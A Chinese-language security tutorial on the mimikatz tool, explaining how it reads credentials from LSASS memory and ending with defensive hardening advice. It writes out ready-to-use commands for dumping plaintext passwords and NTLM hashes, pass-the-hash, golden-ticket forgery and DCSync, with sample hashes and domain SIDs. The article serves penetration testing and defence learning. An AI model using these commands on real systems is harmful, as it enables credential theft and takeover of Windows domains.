【郑重声明】 本文仅供信息安全技术学习、研究和交流之用。mimikatz 是一个用于安全审计和渗透测试的专业工具，旨在帮助安全专家发现系统中的漏洞。请读者严格遵守所在国家/地区的法律法规，严禁将此工具用于任何非法或未经授权的活动。任何滥用行为的后果由使用者自行承担。

1. mimikatz 简介：从学习项目到安全利器

mimikatz，这个由 Benjamin DELPY (gentilkiwi) 开发的工具，最初是一个 C 语言的学习项目，但它很快就蜕变成了 Windows 安全领域最具影响力的工具之一。它的核心目标是与 Windows 本地安全认证子系统服务（LSASS.exe） 进程进行交互。

LSASS 进程在 Windows 身份验证流程中扮演着关键角色，它在内存中保存了各种形式的用户身份凭证，包括：

• 明文密码 (Plaintext Passwords)
• NTLM/LM Hash
• Kerberos 票据 (Tickets)

mimikatz 就是通过一系列精心设计的技术，获取 LSASS 进程的访问权限，并在其中搜索和解析这些敏感数据结构，从而实现凭证的提取和攻击的模拟。

2. 核心原理揭秘：sekurlsa::logonpasswords 如何抓取密码？

mimikatz 的密码抓取能力主要依赖于其 sekurlsa 模块，这个模块的工作原理是对 Windows 的安全提供程序（Security Providers）进行逆向工程和内存解析。

工作流程分解：

1. 获取调试特权： 运行 privilege::debug 命令，mimikatz 尝试获取 SeDebugPrivilege，这是读取其他进程（尤其是 LSASS）内存所必需的权限。
2. 定位 LSASS： 工具定位到 LSASS.exe 进程，并挂接到其内存空间。
3. 解析安全包： Windows 使用多个安全支持提供程序（SSP）来处理不同的身份验证协议，这些提供程序在内存中维护凭证。mimikatz 针对性地解析以下几个关键的 SSP 模块：
   • msv1_0 (MSV)：通常存储用户的 NTLM/LM Hash。
   • tspkg (Terminal Server Package)：在某些配置下（如远程桌面连接），可能存储用户的明文密码。
   • kerberos： 存储用户的 Kerberos 票据。
   • wdigest： 在旧版本或特定配置下，存储明文密码。
4. 数据结构还原： mimikatz 通过已知的内存偏移和数据结构定义，在 LSASS 的内存中找到并还原存储用户凭证的结构体，最终提取出明文密码和各种 Hash 值。

3. 🛡️ 实战案例：提取 Windows 登录密码

本案例演示如何使用 sekurlsa::logonpasswords 命令获取当前系统中的缓存凭证。

步骤一：运行与提权

下载并运行 mimikatz 可执行文件（通常需要以管理员身份运行）。

# 启动日志记录，将输出保存到文件
mimikatz # log

# 尝试获取读取系统进程内存所需的权限
mimikatz # privilege::debug
Privilege '20' OK

步骤二：执行凭证提取

执行核心命令，提取所有活动登录会话的凭证信息。

mimikatz # sekurlsa::logonpasswords

步骤三：分析输出结果

在输出的详细列表中，找到 tspkg 或 wdigest 对应的字段，即可看到明文密码。

字段	描述	示例值	敏感度
User Name	登录系统的用户名	Gentil Kiwi	高
Domain	登录的域或计算机名	vm-w7-ult-x	中
Password	明文密码	waza1234/	极高
NTLM	NTLM Hash 值	cc36cf7a8514893efccd332446158b1a	高（可用于 PtH）

4. 深入域环境：高级攻击技术

mimikatz 的真正威力在于域环境中的渗透测试，它提供了多种绕过传统身份验证的攻击手法。

4.1. Pass-the-Hash (PtH)

原理： Windows 系统在网络认证时使用的是 Hash，而不是明文密码。PtH 就是利用截获的 NTLM Hash，直接通过认证，无需破解密码。

命令示例：

# 使用特定的 NTLM Hash 以 'Administrateur' 身份启动一个命令提示符
mimikatz # sekurlsa::pth /user:Administrateur /domain:winxp /ntlm:f193d757b4d487ab7e5a3743f038f713 /run:cmd

4.2. Golden Ticket (黄金票据)

原理： Kerberos 认证依赖于域控中的 krbtgt 账户。Golden Ticket 攻击利用 krbtgt 账户的 Hash，伪造一个任意用户的 Kerberos 票据授予票据（TGT），从而获得对整个域的持久控制权。

前提： 需要获取域 SID 和 krbtgt 账户的 NTLM Hash。

命令示例：

# 伪造一个名为 'administrateur' 的域管理员票据
mimikatz # kerberos::golden /admin:administrateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /ticket:chocolate.kirbi

4.3. DCSync (域控制器同步)

原理： 模拟域控制器之间的复制过程，请求复制任何用户（包括 krbtgt）的密码哈希。这是一种不与目标域控交互的隐蔽攻击方式。

命令示例：

# 请求同步域中 krbtgt 账户的哈希值
mimikatz # lsadump::dcsync /user:domain\krbtgt /domain:lab.local

5. 安全防御与加固建议

由于 mimikatz 对系统安全构成严重威胁，作为一名防御者，必须采取多层防御策略：

防御措施	描述	适用环境
LSA 保护（RunAsPPL）	启用 LSA 保护模式（Protected Process Light），阻止未经签名的或非系统进程注入或访问 LSASS 内存。	Windows Server 2012 R2+ / Windows 8.1+
Credential Guard	利用虚拟化技术隔离和保护 LSASS 进程，防止凭证被内存抓取工具获取。	Windows 10 Enterprise / Server 2016+
禁用 WDigest	确保系统已禁用 WDigest 协议缓存明文密码（Windows 8.1 / Server 2012 R2 及以后默认禁用）。	所有 Windows 系统
限制本地管理员权限	实施最小权限原则，避免用户使用域管理员或高权限账户进行日常操作。	所有环境
多因素认证 (MFA)	强制要求对关键账户和远程访问启用 MFA，即使哈希被窃取，攻击者也难以通过认证。	域环境、VPN、远程桌面
端点检测与响应 (EDR)	配置 EDR 解决方案，监控和阻止 mimikatz 尝试获取 SeDebugPrivilege 或访问 LSASS 进程的行为。	所有端点

6. 总结

mimikatz 不仅仅是一个工具，它更是一本活生生的 Windows 身份验证机制教科书。安全专家必须掌握其原理和使用方法，才能有效地进行红蓝对抗。希望本文能帮助您深入了解 Windows 凭证安全的核心机制，并在您的安全工作中提供有价值的参考。